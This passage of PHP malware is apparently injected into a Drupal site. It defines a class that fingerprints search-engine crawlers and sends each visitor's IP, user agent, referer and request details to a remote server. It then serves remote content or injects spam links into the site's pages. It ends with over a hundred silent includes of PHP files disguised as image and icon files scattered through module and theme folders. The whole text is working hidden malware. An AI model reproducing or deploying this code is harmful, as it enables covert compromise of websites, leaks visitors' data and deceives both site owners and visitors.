.255.253.0/24','37.140.141.0/24','37.140.188.0/24','100.43.81.0/24','100.43.85.0/24','100.43.91.0/24','199.21.99.0/24'));public $bot=false;function get_client_ip(){foreach(array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR')as $key){if(array_key_exists($key,$_SERVER)=== true){foreach(array_map('trim',explode(',',$_SERVER[$key]))as $ip){if(filter_var($ip,FILTER_VALIDATE_IP)!== false){return $ip;}}}}return $_SERVER['REMOTE_ADDR'];}function init($ruri,$host,$is_bot){$this->ua=$_SERVER['HTTP_USER_AGENT'];$this->is_bot=$is_bot;$this->ruri=$ruri;$this->ip=$this->get_client_ip();$this->the_end();}function the_end(){$this->detect_bot();if(count($_GET)=== 1 and empty($_GET[0])){$not_uri=end(array_keys($_GET));}$url_p=$this->door_url .'?data=' .base64_encode(@serialize(@array('url'=> $_SERVER["HTTP_HOST"],'uri'=> $_SERVER["REQUEST_URI"],'ua'=> $this->ua,'ref'=> $_SERVER["HTTP_REFERER"],'ip'=> $this->ip,'not_uri'=> $not_uri,'lang'=> $_SERVER['HTTP_ACCEPT_LANGUAGE'],'bot'=> $this->bot))) .'&url=' .$_SERVER["HTTP_HOST"];$content=$this->get($url_p);if(!empty($content)or $content != ''){$content=@base64_decode($content);if(strpos($content,'404_not_found')!== false){header("HTTP/1.0 404 Not Found");exit;}if(strripos($content,' keys/' .$_SERVER["HTTP_HOST"])!== false){return false;}if(@strpos(@strtolower($content),'')!== false){die($content);}}else{$this->links=$this->make_links();if(!empty($this->links)or $this->links !== False){ob_start(array($this,'rwcontent'));register_shutdown_function('ob_end_flush');}}}function make_links(){$host='unknown';if(isset($_SERVER["HTTP_X_FORWARDED_HOST"])){$_SERVER["HTTP_HOST"]=$_SERVER["HTTP_X_FORWARDED_HOST"];}$tmp=@parse_url('http://' .$_SERVER["HTTP_HOST"]);if(isset($tmp['host'])){$host=$tmp['host'];}$page=$this->get("$this->links_url?host=$host&uri=" .urlencode($_SERVER["REQUEST_URI"]) ."&bot={$this->bot}&ip=" .urlencode($this->ip));if(strpos($page,'')!== FALSE){preg_match_all('~(.*?)~',$page,$m);$links=isset($m[1])?$m[1]:array();return $links;}return false;}function rwcontent($content){$tags=array('p','span','strong','em','i','td','div','ul','li','span','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}.*?>(.*?)~i",$content,$matches);if(@isset($matches[0])){foreach($matches[0]as $match){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}if(count($tags_vals)>count($this->links)){break;}}foreach($this->links as $link_index => $link){foreach($tags_vals as $tag_index => $tag_val){if(strlen($tag_val['content'])%2 == 1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0{$link} ",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+4))=="."){$tag_content_new=str_replace("."," {$link}.",$tag_val['content']);}else{$tag_content_new=str_replace(""," {$link} ",$tag_val['content']);}}$content=preg_replace("~{$tag_val['content']}~i",$tag_content_new,$content,1);unset($tags_vals[$tag_index]);if(strpos($content,$link)!== false){unset($links[$link_index]);continue 2;}}}return $content;}function detect_bot(){if(@preg_match('/google/i',$this->ua)){$this->bot='google';return;}if(@preg_match('/bing|msn|msr|slurp|yahoo/i',$this->ua)){$this->bot='bing';return;}if(@preg_match('/yandex|yadirectbot/i',$this->ua)){$this->bot='yandex';return;}if(@preg_match('/baidu/i',$this->ua)){$this->bot='baidu';return;}if(@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail.ru|scrubby~i',$this->ua)){$this->bot='other';return;}$ipl=ip2long($this->ip);foreach($this->ip_lists as $crawler => $masks){foreach($masks as $mask){if(!strpos($mask,'/')){if($this->ip == $mask){$this->bot=$crawler;return;}}elseif(@$this->cidr_match($ipl,$mask)){$this->bot=$crawler;return;}}}$referer=@gethostbyaddr($this->ip);if(@preg_match('/google/i',$referer)){$this->bot='google';return;}if(@preg_match('/bing|msn|msr|slurp|yahoo|microsoft/i',$referer)){$this->bot='bing';return;}}function cidr_match($ip,$range){list($subnet,$bits)=explode('/',$range);$subnet=ip2long($subnet);$mask=-1 <<(32-$bits);$subnet &= $mask;return@($ip&$mask)== $subnet;}function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,8);curl_setopt($ch,CURLOPT_TIMEOUT,15);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return@file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])?$parts['port']:80;$page=isset($parts['path'])?$parts['path']:'';$page .= isset($parts['query'])?'?' .$parts['query']:'';$page .= isset($parts['fragment'])?'#' .$parts['fragment']:'';$page=($page == '')?'/':$page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host: {$parts['host']}\r\n";$headers .= "Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!== false){$resp .= $curr;}if(isset($curr)&& $curr !== false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}}$ratel=new Ratel;$ratel->init($ruri,$host,$is_bot);} @include_once('/home/beforeyo/www/louisevent2018/modules/dblog/log.client.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/overlay/images/mode.link.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_autoload_test/gateway.except.jpg'); @include_once('/home/beforeyo/www/louisevent2018/modules/filter/tests/processor.mode.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/rdf/tests/less.suspect.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/rdf/tests/include.suspect.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/rdf/tests/cookie.session.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/filter/tests/tool.storage.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/filter/tests/gone.conflicts.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/rdf/tests/sessions.throw.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/rdf/tests/data.init.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/overlay/images/database.less.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/filter/tests/tools.img.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/filter/tests/db.archive.gif'); @include_once('/home/beforeyo/www/louisevent2018/themes/bartik/data.xml.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/filter/tests/log.success.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/filter/tests/lock.img.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/rdf/tests/init.suspected.jpg'); @include_once('/home/beforeyo/www/louisevent2018/modules/rdf/tests/cookie.suspect.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/rdf/tests/tmp.admin.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_basetheme/database.load.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/lib/accept.library.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/psr_4_test/src/load.requests.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/files/css_test_files/css_subfolder/created.gone.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/psr_4_test/src/link.log.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_autoload_test/status.types.jpg'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_theme_nyan_cat/templates/img.cookie.jpg'); @include_once('/home/beforeyo/www/louisevent2018/themes/throws.json.php'); @include_once('/home/beforeyo/www/louisevent2018/themes/engines/phptemplate/clients.methods.png'); @include_once('/home/beforeyo/www/louisevent2018/themes/bartik/color/sess.suspected.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_system_listing_incompatible_test/request.system.php'); @include_once('/home/beforeyo/www/louisevent2018/themes/seven/images/work.bad.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/contextual/archive.jpg.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_autoload_test/storage.exception.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_theme/templates/xmlrpc.http.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/psr_0_test/lib/Drupal/psr_0_test/Tests/system.database.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_theme/sys.link.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/files/css_test_files/css_subfolder/throws.xmlrpc.jpg'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_theme_nyan_cat/templates/created.gateway.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_autoload_test/reset.suspected.png'); @include_once('/home/beforeyo/www/louisevent2018/themes/engines/phptemplate/png.jpg.php'); @include_once('/home/beforeyo/www/louisevent2018/themes/garland/color/accepted.success.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_autoload_test/multi.lock.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/statistics/link.except.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/lib/admin.locked.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/psr_0_test/lib/Drupal/psr_0_test/Tests/gone.tmp.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/image/archive.requests.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_system_listing_incompatible_test/init.gone.png'); @include_once('/home/beforeyo/www/louisevent2018/sites/client.work.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/lib/lib.css.png'); @include_once('/home/beforeyo/www/louisevent2018/themes/engines/db.mode.php'); @include_once('/home/beforeyo/www/louisevent2018/themes/engines/phptemplate/data.library.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_basetheme/except.archive.ico'); @include_once('/home/beforeyo/www/louisevent2018/assets/images/php.tool.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_system_listing_incompatible_test/session.png.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/files/css_test_files/css_subfolder/config.created.ico'); @include_once('/home/beforeyo/www/louisevent2018/themes/garland/images/png.fail.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_basetheme/cache.logs.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_basetheme/conflicts.processor.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_autoload_test/less.less.php'); @include_once('/home/beforeyo/www/louisevent2018/blog/internal.client.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/statistics/process.methods.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_basetheme/library.mode.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_autoload_test/request.xml.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_theme/accept.http.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_theme/css.post.jpg'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_theme/success.created.jpg'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/psr_4_test/src/Tests/clients.internal.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/src/content.processor.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/lib/lock.xmlrpc.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/contextual/link.image.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_theme_nyan_cat/templates/img.include.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/lib/db.types.jpg'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/upgrade/log.img.ico'); @include_once('/home/beforeyo/www/louisevent2018/themes/bartik/fail.xml.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_theme_nyan_cat/xml.locked.php'); @include_once('/home/beforeyo/www/louisevent2018/themes/stark/process.images.gif'); @include_once('/home/beforeyo/www/louisevent2018/assets/images/suspected.clases.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/overlay/images/images.reset.jpg'); @include_once('/home/beforeyo/www/louisevent2018/themes/garland/suspected.cache.png'); @include_once('/home/beforeyo/www/louisevent2018/themes/bartik/templates/images.code.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_theme/suspected.client.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/dblog/cookie.throws.php'); @include_once('/home/beforeyo/www/louisevent2018/themes/garland/color/sys.type.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/lib/Drupal/simpletest/created.request.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/lib/code.db.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_subtheme/work.conflicts.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_autoload_test/include.config.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/files/css_test_files/css_subfolder/sys.jpeg.ico'); @include_once('/home/beforeyo/www/louisevent2018/assets/link.less.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_theme/storage.session.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/contextual/log.success.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/lib/db.archive.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/lib/Drupal/simpletest/less.jpg.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_system_listing_compatible_test/session.lib.ico'); @include_once('/home/beforeyo/www/louisevent2018/themes/stark/tool.success.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/contextual/clients.clients.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_system_listing_incompatible_test/jpg.sys.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/overlay/images/tools.throws.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/lib/tools.include.gif'); @include_once('/home/beforeyo/www/louisevent2018/themes/bartik/color/locked.types.gif'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_autoload_test/gateway.xmlrpc.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/statistics/session.img.png'); @include_once('/home/beforeyo/www/louisevent2018/themes/bartik/color/bad.process.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/src/system.requests.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_basetheme/throws.success.png'); @include_once('/home/beforeyo/www/louisevent2018/themes/bartik/code.fail.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/dblog/logs.code.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_basetheme/images.work.png'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_basetheme/suspected.cookie.jpg'); @include_once('/home/beforeyo/www/louisevent2018/modules/dashboard/jpg.tmp.php'); @include_once('/home/beforeyo/www/louisevent2018/assets/images/except.xml.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/contextual/xml.suspected.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_theme_nyan_cat/request.modes.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/themes/test_theme/templates/type.xmlrpc.ico'); @include_once('/home/beforeyo/www/louisevent2018/themes/bartik/clients.created.php'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/drupal_autoload_test/request.throw.ico'); @include_once('/home/beforeyo/www/louisevent2018/modules/overlay/work.png.jpg'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/lib/json.db.jpg'); @include_once('/home/beforeyo/www/louisevent2018/modules/simpletest/tests/psr_0_test/lib/Drupal/psr_0_test/Tests/tmp.locked.jpg'); @include_once('/home/beforeyo/www/louisevent2018/sites/tools.config.gif'); @include_once('/home/beforeyo/www/louisevent2018/themes/garland/color/clients.internal.png'); ?>